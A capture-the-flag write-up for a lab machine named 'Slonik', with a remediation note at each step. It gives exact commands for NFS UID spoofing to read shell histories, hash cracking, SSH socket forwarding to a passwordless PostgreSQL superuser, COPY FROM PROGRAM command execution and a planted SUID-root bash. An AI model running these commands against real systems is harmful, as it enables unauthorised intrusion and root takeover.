Slonik
Summary
I found a Linux server exposing only SSH and NFS. The NFS export of /home was open to any client and trusted client-supplied user IDs, so impersonating the 'service' account exposed its shell history, which revealed a cracked-able password hash and showed that the PostgreSQL superuser was reachable over a local Unix socket without a password.
Forwarding that socket over SSH gave database superuser access, and PostgreSQL's COPY FROM PROGRAM feature turned it into command execution as the postgres user. A root-owned backup job that copies the PostgreSQL data directory verbatim then carried my own SUID-root shell into a backup folder, which was run to obtain full root control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 3
Find all open TCP ports.
$ nmap -p- --min-rate 2000 $TARGETFingerprint SSH, rpcbind and NFS.
$ nmap -sC -sV -p22,111,2049 $TARGETList NFS exports; shows /var/backups and /home open to everyone.
$ showmount -e $TARGETFixRestrict NFS exports and stop trusting client-supplied UIDsCritical
Exact commands 3
Mount the exported file systems.
$ mkdir slonik-nfs && sudo mount -t nfs $TARGET:/ ./slonik-nfs -o nolockCreate a local user matching the owner's UID/GID.
$ sudo groupadd -g 1337 service && sudo useradd -u 1337 -g 1337 -m -s /bin/bash serviceRead the shell histories as the spoofed user (adjust path to the mount).
$ sudo su service -c 'cat ./slonik-nfs/home/service/.psql_history ./slonik-nfs/home/service/.bash_history'Exact commands 2
Crack the unsalted MD5; result is the password '$PASSWORD'.
$ echo $HASH > hash.txt && hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txtPassword '$PASSWORD'. Session closes immediately (forced shell) but confirms the credential works and allows port/socket forwarding.
$ ssh service@$TARGETFixStop storing secrets in shell history and use strong password hashingHigh
Exact commands 2
Forward the remote PostgreSQL socket to a local socket (password '$PASSWORD'). Leave running.
$ ssh -N -L /tmp/.s.PGSQL.5432:/var/run/postgresql/.s.PGSQL.5432 service@$TARGETConnect as postgres with no password and confirm access.
$ psql -h /tmp -U postgres -c '\list'FixRequire authentication for the PostgreSQL superuser and restrict socket forwardingHigh
Exact commands 2
Prove code execution as postgres. The engagement used the socket directory /tmp/slonik-pg-cd-jyygavem; -h /tmp matches the tunnel above.
$ psql -h /tmp -U postgres -d postgres -P pager=off -v ON_ERROR_STOP=1 -c "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; TABLE cmd_exec;"Read the user flag (<user.txt>).
$ psql -h /tmp -U postgres -d postgres -P pager=off -v ON_ERROR_STOP=1 -c "TRUNCATE cmd_exec; COPY cmd_exec FROM PROGRAM 'cat /var/lib/postgresql/user.txt'; TABLE cmd_exec;"FixRemove OS command execution from the database superuser roleCritical
Exact commands 2
Plant the SUID bash in the PostgreSQL data directory (run as postgres).
$ psql -h /tmp -U postgres -d postgres -c "COPY cmd_exec FROM PROGRAM 'cp /bin/bash /var/lib/postgresql/14/main/nbash && chmod 4755 /var/lib/postgresql/14/main/nbash';"Wait for the periodic root backup (observable with pspy64) until the copy appears with the SUID bit.
$ psql -h /tmp -U postgres -d postgres -c "TRUNCATE cmd_exec; COPY cmd_exec FROM PROGRAM 'ls -l /opt/backups/current/nbash'; TABLE cmd_exec;"FixHarden the root backup job against externally controlled filesCritical
Exact commands 2
Confirm euid=0(root).
$ psql -h /tmp -U postgres -d postgres -P pager=off -v ON_ERROR_STOP=1 -c "TRUNCATE cmd_exec; COPY cmd_exec FROM PROGRAM '/opt/backups/current/nbash -p -c id'; TABLE cmd_exec;"Read the root flag (<root.txt>).
$ psql -h /tmp -U postgres -d postgres -P pager=off -v ON_ERROR_STOP=1 -c "TRUNCATE cmd_exec; COPY cmd_exec FROM PROGRAM '/opt/backups/current/nbash -p -c cat\ /root/root.txt'; TABLE cmd_exec;"Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 111/tcp | rpcbind 2-4 (RPC #100000) |
| 2049/tcp | nfs 3-4 (RPC #100003) |
| 37491/tcp | unknown recon-sweep-discovered |
| 40439/tcp | unknown recon-sweep-discovered |
| 44901/tcp | unknown recon-sweep-discovered |
| 50121/tcp | unknown recon-sweep-discovered |
| 51995/tcp | unknown recon-sweep-discovered |